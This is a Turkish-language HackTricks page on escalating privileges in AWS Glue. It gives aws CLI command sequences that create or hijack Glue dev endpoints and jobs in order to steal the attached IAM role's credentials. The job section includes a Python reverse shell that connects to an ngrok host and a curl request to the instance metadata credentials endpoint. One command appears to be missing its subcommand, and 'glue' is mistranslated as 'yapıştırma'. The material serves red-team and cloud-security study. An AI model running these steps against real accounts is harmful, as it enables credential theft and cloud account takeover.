AWS - Glue Privesc

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!

HackTricks'i desteklemenin diğer yolları:

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Bu izinlere sahip kullanıcılar yeni bir AWS Glue geliştirme ucu noktası kurabilir ve bu ucu noktaya belirli izinlere sahip Glue tarafından alınabilir olan mevcut bir hizmet rolü atayabilir.

Kurulumdan sonra saldırgan ucu noktanın örneğine SSH ile bağlanabilir ve atanan rolün IAM kimlik bilgilerini çalabilir:

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Gizlilik amacıyla, Glue sanal makinesi içinden IAM kimlik bilgilerini kullanmanız önerilir.

Potansiyel Etki: Belirtilen yapıştırma hizmeti rolüne yükseltme.

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Bu izne sahip kullanıcılar, mevcut bir Glue geliştirme ucu noktasının SSH anahtarını değiştirebilir ve buna SSH erişimini etkinleştirebilir. Bu, saldırganın ucu noktaya bağlı rolün ayrıcalıklarıyla komutları yürütmesine olanak tanır:

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Potansiyel Etki: Kullanılan yapıştırma servisi rolüne ayrıcalık yükseltilmesi.

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

iam:PassRole izni olan kullanıcılar, glue:CreateJob veya glue:UpdateJob ile birlikte ve glue:StartJobRun veya glue:CreateTrigger ile birlikte kombinlendiğinde bir AWS Glue işi oluşturabilir veya güncelleştirebilir, herhangi bir Glue servis hesabını ekleyebilir ve işin yürütülmesini başlatabilir. İşin yetenekleri arasında keyfi Python kodu çalıştırma bulunmaktadır, bu da ters kabuk oluşturmak için sömürülebilir. Bu ters kabuk daha sonra Glue işine bağlı rolün IAM kimlik bilgilerini dışa aktarmak için kullanılabilir, bu da o rolün izinlerine dayalı potansiyel yetkisiz erişim veya işlemlere yol açabilir:

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

Potansiyel Etki: Belirtilen yapıştırma servisi rolüne ayrıcalık yükseltme.

glue:UpdateJob

Sadece güncelleme izni ile bir saldırgan, zaten eklenmiş rolün IAM Kimlik bilgilerini çalabilir.

Potansiyel Etki: Eklenmiş yapıştırma servisi rolüne ayrıcalık yükseltme.

Referanslar

Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated